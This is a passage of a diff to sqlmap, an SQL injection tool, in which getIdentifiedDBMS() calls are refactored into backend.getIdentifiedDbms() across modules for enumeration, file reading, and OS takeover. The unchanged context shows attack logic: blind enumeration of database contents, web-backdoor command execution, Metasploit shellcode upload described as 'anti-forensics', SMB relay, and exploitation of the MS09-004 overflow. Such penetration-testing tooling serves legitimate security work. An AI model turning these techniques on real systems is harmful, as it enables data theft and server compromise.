query = rootQuery.blind.query % (column, column,
|
||||||
conf.tbl.upper(),
|
conf.tbl.upper(),
|
||||||
index)
|
index)
|
||||||
elif getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE):
|
elif backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
|
||||||
query = rootQuery.blind.query % (column, index, conf.db,
|
query = rootQuery.blind.query % (column, index, conf.db,
|
||||||
conf.tbl, colList[0],
|
conf.tbl, colList[0],
|
||||||
colList[0], colList[0])
|
colList[0], colList[0])
|
||||||
|
|
||||||
elif getIdentifiedDBMS() == DBMS.SQLITE:
|
elif backend.getIdentifiedDbms() == DBMS.SQLITE:
|
||||||
query = rootQuery.blind.query % (column, conf.tbl, index)
|
query = rootQuery.blind.query % (column, conf.tbl, index)
|
||||||
|
|
||||||
elif getIdentifiedDBMS() == DBMS.FIREBIRD:
|
elif backend.getIdentifiedDbms() == DBMS.FIREBIRD:
|
||||||
query = rootQuery.blind.query % (index, column, conf.tbl)
|
query = rootQuery.blind.query % (index, column, conf.tbl)
|
||||||
|
|
||||||
value = inject.getValue(query, inband=False, error=False)
|
value = inject.getValue(query, inband=False, error=False)
|
||||||
|
@ -1386,7 +1387,7 @@ class Enumeration:
|
||||||
return kb.data.dumpedTable
|
return kb.data.dumpedTable
|
||||||
|
|
||||||
def dumpAll(self):
|
def dumpAll(self):
|
||||||
if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema:
|
if backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
|
||||||
errMsg = "information_schema not available, "
|
errMsg = "information_schema not available, "
|
||||||
errMsg += "back-end DBMS is MySQL < 5.0"
|
errMsg += "back-end DBMS is MySQL < 5.0"
|
||||||
raise sqlmapUnsupportedFeatureException, errMsg
|
raise sqlmapUnsupportedFeatureException, errMsg
|
||||||
|
@ -1487,10 +1488,10 @@ class Enumeration:
|
||||||
|
|
||||||
def searchDb(self):
|
def searchDb(self):
|
||||||
foundDbs = []
|
foundDbs = []
|
||||||
rootQuery = queries[getIdentifiedDBMS()].search_db
|
rootQuery = queries[backend.getIdentifiedDbms()].search_db
|
||||||
dbList = conf.db.split(",")
|
dbList = conf.db.split(",")
|
||||||
|
|
||||||
if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema:
|
if backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
|
||||||
dbCond = rootQuery.inband.condition2
|
dbCond = rootQuery.inband.condition2
|
||||||
else:
|
else:
|
||||||
dbCond = rootQuery.inband.condition
|
dbCond = rootQuery.inband.condition
|
||||||
|
@ -1515,7 +1516,7 @@ class Enumeration:
|
||||||
dbQuery = dbQuery % db
|
dbQuery = dbQuery % db
|
||||||
|
|
||||||
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
|
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
|
||||||
if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema:
|
if backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
|
||||||
query = rootQuery.inband.query2
|
query = rootQuery.inband.query2
|
||||||
else:
|
else:
|
||||||
query = rootQuery.inband.query
|
query = rootQuery.inband.query
|
||||||
|
@ -1536,7 +1537,7 @@ class Enumeration:
|
||||||
infoMsg += " '%s'" % db
|
infoMsg += " '%s'" % db
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema:
|
if backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
|
||||||
query = rootQuery.blind.count2
|
query = rootQuery.blind.count2
|
||||||
else:
|
else:
|
||||||
query = rootQuery.blind.count
|
query = rootQuery.blind.count
|
||||||
|
@ -1556,7 +1557,7 @@ class Enumeration:
|
||||||
indexRange = getRange(count)
|
indexRange = getRange(count)
|
||||||
|
|
||||||
for index in indexRange:
|
for index in indexRange:
|
||||||
if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema:
|
if backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
|
||||||
query = rootQuery.blind.query2
|
query = rootQuery.blind.query2
|
||||||
else:
|
else:
|
||||||
query = rootQuery.blind.query
|
query = rootQuery.blind.query
|
||||||
|
@ -1571,12 +1572,12 @@ class Enumeration:
|
||||||
def searchTable(self):
|
def searchTable(self):
|
||||||
bruteForce = False
|
bruteForce = False
|
||||||
|
|
||||||
if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema:
|
if backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
|
||||||
errMsg = "information_schema not available, "
|
errMsg = "information_schema not available, "
|
||||||
errMsg += "back-end DBMS is MySQL < 5.0"
|
errMsg += "back-end DBMS is MySQL < 5.0"
|
||||||
bruteForce = True
|
bruteForce = True
|
||||||
|
|
||||||
elif getIdentifiedDBMS() == DBMS.ACCESS:
|
elif backend.getIdentifiedDbms() == DBMS.ACCESS:
|
||||||
errMsg = "cannot retrieve table names, "
|
errMsg = "cannot retrieve table names, "
|
||||||
errMsg += "back-end DBMS is Access"
|
errMsg += "back-end DBMS is Access"
|
||||||
logger.error(errMsg)
|
logger.error(errMsg)
|
||||||
|
@ -1594,7 +1595,7 @@ class Enumeration:
|
||||||
regex = "|".join(conf.tbl.split(","))
|
regex = "|".join(conf.tbl.split(","))
|
||||||
return tableExists(paths.COMMON_TABLES, regex)
|
return tableExists(paths.COMMON_TABLES, regex)
|
||||||
|
|
||||||
rootQuery = queries[getIdentifiedDBMS()].search_table
|
rootQuery = queries[backend.getIdentifiedDbms()].search_table
|
||||||
foundTbls = {}
|
foundTbls = {}
|
||||||
tblList = conf.tbl.split(",")
|
tblList = conf.tbl.split(",")
|
||||||
tblCond = rootQuery.inband.condition
|
tblCond = rootQuery.inband.condition
|
||||||
|
@ -1603,7 +1604,7 @@ class Enumeration:
|
||||||
tblConsider, tblCondParam = self.likeOrExact("table")
|
tblConsider, tblCondParam = self.likeOrExact("table")
|
||||||
|
|
||||||
for tbl in tblList:
|
for tbl in tblList:
|
||||||
if getIdentifiedDBMS() == DBMS.ORACLE:
|
if backend.getIdentifiedDbms() == DBMS.ORACLE:
|
||||||
tbl = tbl.upper()
|
tbl = tbl.upper()
|
||||||
|
|
||||||
infoMsg = "searching table"
|
infoMsg = "searching table"
|
||||||
|
@ -1713,12 +1714,12 @@ class Enumeration:
|
||||||
def searchColumn(self):
|
def searchColumn(self):
|
||||||
bruteForce = False
|
bruteForce = False
|
||||||
|
|
||||||
if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema:
|
if backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
|
||||||
errMsg = "information_schema not available, "
|
errMsg = "information_schema not available, "
|
||||||
errMsg += "back-end DBMS is MySQL < 5.0"
|
errMsg += "back-end DBMS is MySQL < 5.0"
|
||||||
bruteForce = True
|
bruteForce = True
|
||||||
|
|
||||||
elif getIdentifiedDBMS() == DBMS.ACCESS:
|
elif backend.getIdentifiedDbms() == DBMS.ACCESS:
|
||||||
errMsg = "cannot retrieve column names, "
|
errMsg = "cannot retrieve column names, "
|
||||||
errMsg += "back-end DBMS is Access"
|
errMsg += "back-end DBMS is Access"
|
||||||
logger.error(errMsg)
|
logger.error(errMsg)
|
||||||
|
@ -1744,7 +1745,7 @@ class Enumeration:
|
||||||
|
|
||||||
return
|
return
|
||||||
|
|
||||||
rootQuery = queries[getIdentifiedDBMS()].search_column
|
rootQuery = queries[backend.getIdentifiedDbms()].search_column
|
||||||
foundCols = {}
|
foundCols = {}
|
||||||
dbs = {}
|
dbs = {}
|
||||||
colList = conf.col.split(",")
|
colList = conf.col.split(",")
|
||||||
|
@ -1956,7 +1957,7 @@ class Enumeration:
|
||||||
return output
|
return output
|
||||||
|
|
||||||
def sqlShell(self):
|
def sqlShell(self):
|
||||||
infoMsg = "calling %s shell. To quit type " % getIdentifiedDBMS()
|
infoMsg = "calling %s shell. To quit type " % backend.getIdentifiedDbms()
|
||||||
infoMsg += "'x' or 'q' and press ENTER"
|
infoMsg += "'x' or 'q' and press ENTER"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
|
|
@ -13,7 +13,7 @@ import os
|
||||||
|
|
||||||
from lib.core.agent import agent
|
from lib.core.agent import agent
|
||||||
from lib.core.common import dataToOutFile
|
from lib.core.common import dataToOutFile
|
||||||
from lib.core.common import getIdentifiedDBMS
|
from lib.core.common import backend
|
||||||
from lib.core.common import isTechniqueAvailable
|
from lib.core.common import isTechniqueAvailable
|
||||||
from lib.core.common import randomStr
|
from lib.core.common import randomStr
|
||||||
from lib.core.common import readInput
|
from lib.core.common import readInput
|
||||||
|
@ -87,13 +87,13 @@ class Filesystem:
|
||||||
return fileLines
|
return fileLines
|
||||||
|
|
||||||
def __checkWrittenFile(self, wFile, dFile, fileType):
|
def __checkWrittenFile(self, wFile, dFile, fileType):
|
||||||
if getIdentifiedDBMS() == DBMS.MYSQL:
|
if backend.getIdentifiedDbms() == DBMS.MYSQL:
|
||||||
lengthQuery = "SELECT LENGTH(LOAD_FILE('%s'))" % dFile
|
lengthQuery = "SELECT LENGTH(LOAD_FILE('%s'))" % dFile
|
||||||
|
|
||||||
elif getIdentifiedDBMS() == DBMS.PGSQL:
|
elif backend.getIdentifiedDbms() == DBMS.PGSQL:
|
||||||
lengthQuery = "SELECT LENGTH(data) FROM pg_largeobject WHERE loid=%d" % self.oid
|
lengthQuery = "SELECT LENGTH(data) FROM pg_largeobject WHERE loid=%d" % self.oid
|
||||||
|
|
||||||
elif getIdentifiedDBMS() == DBMS.MSSQL:
|
elif backend.getIdentifiedDbms() == DBMS.MSSQL:
|
||||||
self.createSupportTbl(self.fileTblName, self.tblField, "text")
|
self.createSupportTbl(self.fileTblName, self.tblField, "text")
|
||||||
|
|
||||||
# Reference: http://msdn.microsoft.com/en-us/library/ms188365.aspx
|
# Reference: http://msdn.microsoft.com/en-us/library/ms188365.aspx
|
||||||
|
@ -271,7 +271,7 @@ class Filesystem:
|
||||||
|
|
||||||
fileContent = self.unionReadFile(rFile)
|
fileContent = self.unionReadFile(rFile)
|
||||||
|
|
||||||
if fileContent in ( None, "" ) and getIdentifiedDBMS() != DBMS.PGSQL:
|
if fileContent in ( None, "" ) and backend.getIdentifiedDbms() != DBMS.PGSQL:
|
||||||
self.cleanup(onlyFileTbl=True)
|
self.cleanup(onlyFileTbl=True)
|
||||||
|
|
||||||
return
|
return
|
||||||
|
@ -289,7 +289,7 @@ class Filesystem:
|
||||||
fileContent = self.__unhexString(fileContent)
|
fileContent = self.__unhexString(fileContent)
|
||||||
rFilePath = dataToOutFile(fileContent)
|
rFilePath = dataToOutFile(fileContent)
|
||||||
|
|
||||||
if getIdentifiedDBMS() != DBMS.PGSQL:
|
if backend.getIdentifiedDbms() != DBMS.PGSQL:
|
||||||
self.cleanup(onlyFileTbl=True)
|
self.cleanup(onlyFileTbl=True)
|
||||||
|
|
||||||
return rFilePath
|
return rFilePath
|
||||||
|
|
|
@ -7,6 +7,7 @@ Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
|
||||||
See the file 'doc/COPYING' for copying permission
|
See the file 'doc/COPYING' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
from lib.core.common import backend
|
||||||
from lib.core.common import readInput
|
from lib.core.common import readInput
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
|
@ -18,7 +19,7 @@ class Fingerprint:
|
||||||
"""
|
"""
|
||||||
|
|
||||||
def __init__(self, dbms):
|
def __init__(self, dbms):
|
||||||
kb.misc.forcedDbms = dbms
|
backend.forceDbms(dbms)
|
||||||
|
|
||||||
def getFingerprint(self):
|
def getFingerprint(self):
|
||||||
errMsg = "'getFingerprint' method must be defined "
|
errMsg = "'getFingerprint' method must be defined "
|
||||||
|
|
|
@ -10,7 +10,7 @@ See the file 'doc/COPYING' for copying permission
|
||||||
import re
|
import re
|
||||||
|
|
||||||
from lib.core.common import getCompiledRegex
|
from lib.core.common import getCompiledRegex
|
||||||
from lib.core.common import getIdentifiedDBMS
|
from lib.core.common import backend
|
||||||
from lib.core.common import isTechniqueAvailable
|
from lib.core.common import isTechniqueAvailable
|
||||||
from lib.core.common import normalizePath
|
from lib.core.common import normalizePath
|
||||||
from lib.core.common import ntToPosixSlashes
|
from lib.core.common import ntToPosixSlashes
|
||||||
|
@ -57,19 +57,19 @@ class Miscellaneous:
|
||||||
infoMsg = "detecting back-end DBMS version from its banner"
|
infoMsg = "detecting back-end DBMS version from its banner"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
if getIdentifiedDBMS() == DBMS.MYSQL:
|
if backend.getIdentifiedDbms() == DBMS.MYSQL:
|
||||||
first, last = 1, 6
|
first, last = 1, 6
|
||||||
|
|
||||||
elif getIdentifiedDBMS() == DBMS.PGSQL:
|
elif backend.getIdentifiedDbms() == DBMS.PGSQL:
|
||||||
first, last = 12, 6
|
first, last = 12, 6
|
||||||
|
|
||||||
elif getIdentifiedDBMS() == DBMS.MSSQL:
|
elif backend.getIdentifiedDbms() == DBMS.MSSQL:
|
||||||
first, last = 29, 9
|
first, last = 29, 9
|
||||||
|
|
||||||
else:
|
else:
|
||||||
raise sqlmapUnsupportedFeatureException, "unsupported DBMS"
|
raise sqlmapUnsupportedFeatureException, "unsupported DBMS"
|
||||||
|
|
||||||
query = queries[getIdentifiedDBMS()].substring.query % (queries[getIdentifiedDBMS()].banner.query, first, last)
|
query = queries[backend.getIdentifiedDbms()].substring.query % (queries[backend.getIdentifiedDbms()].banner.query, first, last)
|
||||||
|
|
||||||
if conf.direct:
|
if conf.direct:
|
||||||
query = "SELECT %s" % query
|
query = "SELECT %s" % query
|
||||||
|
@ -120,7 +120,7 @@ class Miscellaneous:
|
||||||
if not onlyFileTbl:
|
if not onlyFileTbl:
|
||||||
inject.goStacked("DROP TABLE %s" % self.cmdTblName, silent=True)
|
inject.goStacked("DROP TABLE %s" % self.cmdTblName, silent=True)
|
||||||
|
|
||||||
if getIdentifiedDBMS() == DBMS.MSSQL:
|
if backend.getIdentifiedDbms() == DBMS.MSSQL:
|
||||||
return
|
return
|
||||||
|
|
||||||
if udfDict is None:
|
if udfDict is None:
|
||||||
|
@ -133,7 +133,7 @@ class Miscellaneous:
|
||||||
if not output or output in ("y", "Y"):
|
if not output or output in ("y", "Y"):
|
||||||
dropStr = "DROP FUNCTION %s" % udf
|
dropStr = "DROP FUNCTION %s" % udf
|
||||||
|
|
||||||
if getIdentifiedDBMS() == DBMS.PGSQL:
|
if backend.getIdentifiedDbms() == DBMS.PGSQL:
|
||||||
inp = ", ".join(i for i in inpRet["input"])
|
inp = ", ".join(i for i in inpRet["input"])
|
||||||
dropStr += "(%s)" % inp
|
dropStr += "(%s)" % inp
|
||||||
|
|
||||||
|
|
|
@ -9,7 +9,7 @@ See the file 'doc/COPYING' for copying permission
|
||||||
|
|
||||||
import os
|
import os
|
||||||
|
|
||||||
from lib.core.common import getIdentifiedDBMS
|
from lib.core.common import backend
|
||||||
from lib.core.common import isTechniqueAvailable
|
from lib.core.common import isTechniqueAvailable
|
||||||
from lib.core.common import readInput
|
from lib.core.common import readInput
|
||||||
from lib.core.common import runningAsAdmin
|
from lib.core.common import runningAsAdmin
|
||||||
|
@ -45,7 +45,7 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous):
|
||||||
def osCmd(self):
|
def osCmd(self):
|
||||||
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) or conf.direct:
|
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) or conf.direct:
|
||||||
web = False
|
web = False
|
||||||
elif not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and getIdentifiedDBMS() == DBMS.MYSQL:
|
elif not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and backend.getIdentifiedDbms() == DBMS.MYSQL:
|
||||||
infoMsg = "going to use a web backdoor for command execution"
|
infoMsg = "going to use a web backdoor for command execution"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
@ -66,7 +66,7 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous):
|
||||||
def osShell(self):
|
def osShell(self):
|
||||||
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) or conf.direct:
|
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) or conf.direct:
|
||||||
web = False
|
web = False
|
||||||
elif not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and getIdentifiedDBMS() == DBMS.MYSQL:
|
elif not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and backend.getIdentifiedDbms() == DBMS.MYSQL:
|
||||||
infoMsg = "going to use a web backdoor for command prompt"
|
infoMsg = "going to use a web backdoor for command prompt"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
@ -149,7 +149,7 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous):
|
||||||
errMsg += "is unlikely to receive commands send from you"
|
errMsg += "is unlikely to receive commands send from you"
|
||||||
logger.error(errMsg)
|
logger.error(errMsg)
|
||||||
|
|
||||||
if getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.PGSQL ):
|
if backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ):
|
||||||
self.sysUdfs.pop("sys_bineval")
|
self.sysUdfs.pop("sys_bineval")
|
||||||
|
|
||||||
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) or conf.direct:
|
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) or conf.direct:
|
||||||
|
@ -159,7 +159,7 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous):
|
||||||
self.initEnv(web=web)
|
self.initEnv(web=web)
|
||||||
|
|
||||||
if tunnel == 1:
|
if tunnel == 1:
|
||||||
if getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.PGSQL ):
|
if backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ):
|
||||||
msg = "how do you want to execute the Metasploit shellcode "
|
msg = "how do you want to execute the Metasploit shellcode "
|
||||||
msg += "on the back-end database underlying operating system?"
|
msg += "on the back-end database underlying operating system?"
|
||||||
msg += "\n[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)"
|
msg += "\n[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)"
|
||||||
|
@ -189,7 +189,7 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous):
|
||||||
self.uploadMsfPayloadStager()
|
self.uploadMsfPayloadStager()
|
||||||
|
|
||||||
if kb.os == "Windows" and conf.privEsc:
|
if kb.os == "Windows" and conf.privEsc:
|
||||||
if getIdentifiedDBMS() == DBMS.MYSQL:
|
if backend.getIdentifiedDbms() == DBMS.MYSQL:
|
||||||
debugMsg = "by default MySQL on Windows runs as SYSTEM "
|
debugMsg = "by default MySQL on Windows runs as SYSTEM "
|
||||||
debugMsg += "user, no need to privilege escalate"
|
debugMsg += "user, no need to privilege escalate"
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
@ -207,7 +207,7 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous):
|
||||||
self.uploadIcmpshSlave(web=web)
|
self.uploadIcmpshSlave(web=web)
|
||||||
self.icmpPwn()
|
self.icmpPwn()
|
||||||
|
|
||||||
elif not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and getIdentifiedDBMS() == DBMS.MYSQL:
|
elif not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and backend.getIdentifiedDbms() == DBMS.MYSQL:
|
||||||
web = True
|
web = True
|
||||||
|
|
||||||
infoMsg = "going to use a web backdoor to establish the tunnel"
|
infoMsg = "going to use a web backdoor to establish the tunnel"
|
||||||
|
@ -256,13 +256,13 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous):
|
||||||
raise sqlmapUnsupportedDBMSException(errMsg)
|
raise sqlmapUnsupportedDBMSException(errMsg)
|
||||||
|
|
||||||
if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and not conf.direct:
|
if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and not conf.direct:
|
||||||
if getIdentifiedDBMS() in ( DBMS.PGSQL, DBMS.MSSQL ):
|
if backend.getIdentifiedDbms() in ( DBMS.PGSQL, DBMS.MSSQL ):
|
||||||
errMsg = "on this back-end DBMS it is only possible to "
|
errMsg = "on this back-end DBMS it is only possible to "
|
||||||
errMsg += "perform the SMB relay attack if stacked "
|
errMsg += "perform the SMB relay attack if stacked "
|
||||||
errMsg += "queries are supported"
|
errMsg += "queries are supported"
|
||||||
raise sqlmapUnsupportedDBMSException(errMsg)
|
raise sqlmapUnsupportedDBMSException(errMsg)
|
||||||
|
|
||||||
elif getIdentifiedDBMS() == DBMS.MYSQL:
|
elif backend.getIdentifiedDbms() == DBMS.MYSQL:
|
||||||
debugMsg = "since stacked queries are not supported, "
|
debugMsg = "since stacked queries are not supported, "
|
||||||
debugMsg += "sqlmap is going to perform the SMB relay "
|
debugMsg += "sqlmap is going to perform the SMB relay "
|
||||||
debugMsg += "attack via inference blind SQL injection"
|
debugMsg += "attack via inference blind SQL injection"
|
||||||
|
@ -271,19 +271,19 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous):
|
||||||
printWarn = True
|
printWarn = True
|
||||||
warnMsg = "it is unlikely that this attack will be successful "
|
warnMsg = "it is unlikely that this attack will be successful "
|
||||||
|
|
||||||
if getIdentifiedDBMS() == DBMS.MYSQL:
|
if backend.getIdentifiedDbms() == DBMS.MYSQL:
|
||||||
warnMsg += "because by default MySQL on Windows runs as "
|
warnMsg += "because by default MySQL on Windows runs as "
|
||||||
warnMsg += "Local System which is not a real user, it does "
|
warnMsg += "Local System which is not a real user, it does "
|
||||||
warnMsg += "not send the NTLM session hash when connecting to "
|
warnMsg += "not send the NTLM session hash when connecting to "
|
||||||
warnMsg += "a SMB service"
|
warnMsg += "a SMB service"
|
||||||
|
|
||||||
elif getIdentifiedDBMS() == DBMS.PGSQL:
|
elif backend.getIdentifiedDbms() == DBMS.PGSQL:
|
||||||
warnMsg += "because by default PostgreSQL on Windows runs "
|
warnMsg += "because by default PostgreSQL on Windows runs "
|
||||||
warnMsg += "as postgres user which is a real user of the "
|
warnMsg += "as postgres user which is a real user of the "
|
||||||
warnMsg += "system, but not within the Administrators group"
|
warnMsg += "system, but not within the Administrators group"
|
||||||
|
|
||||||
elif getIdentifiedDBMS() == DBMS.MSSQL and kb.dbmsVersion[0] in ( "2005", "2008" ):
|
elif backend.getIdentifiedDbms() == DBMS.MSSQL and backend.isVersionWithin(("2005", "2008")):
|
||||||
warnMsg += "because often Microsoft SQL Server %s " % kb.dbmsVersion[0]
|
warnMsg += "because often Microsoft SQL Server %s " % backend.getVersion()
|
||||||
warnMsg += "runs as Network Service which is not a real user, "
|
warnMsg += "runs as Network Service which is not a real user, "
|
||||||
warnMsg += "it does not send the NTLM session hash when "
|
warnMsg += "it does not send the NTLM session hash when "
|
||||||
warnMsg += "connecting to a SMB service"
|
warnMsg += "connecting to a SMB service"
|
||||||
|
@ -300,14 +300,14 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous):
|
||||||
if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and not conf.direct:
|
if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and not conf.direct:
|
||||||
return
|
return
|
||||||
|
|
||||||
if not getIdentifiedDBMS() == DBMS.MSSQL or kb.dbmsVersion[0] not in ( "2000", "2005" ):
|
if not backend.getIdentifiedDbms() == DBMS.MSSQL or not backend.isVersionWithin(("2000", "2005")):
|
||||||
errMsg = "the back-end DBMS must be Microsoft SQL Server "
|
errMsg = "the back-end DBMS must be Microsoft SQL Server "
|
||||||
errMsg += "2000 or 2005 to be able to exploit the heap-based "
|
errMsg += "2000 or 2005 to be able to exploit the heap-based "
|
||||||
errMsg += "buffer overflow in the 'sp_replwritetovarbin' "
|
errMsg += "buffer overflow in the 'sp_replwritetovarbin' "
|
||||||
errMsg += "stored procedure (MS09-004)"
|
errMsg += "stored procedure (MS09-004)"
|
||||||
raise sqlmapUnsupportedDBMSException(errMsg)
|
raise sqlmapUnsupportedDBMSException(errMsg)
|
||||||
|
|
||||||
infoMsg = "going to exploit the Microsoft SQL Server %s " % kb.dbmsVersion[0]
|
infoMsg = "going to exploit the Microsoft SQL Server %s " % backend.getVersion()
|
||||||
infoMsg += "'sp_replwritetovarbin' stored procedure heap-based "
|
infoMsg += "'sp_replwritetovarbin' stored procedure heap-based "
|
||||||
infoMsg += "buffer overflow (MS09-004)"
|
infoMsg += "buffer overflow (MS09-004)"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
Loading…
Reference in New Issue
Block a user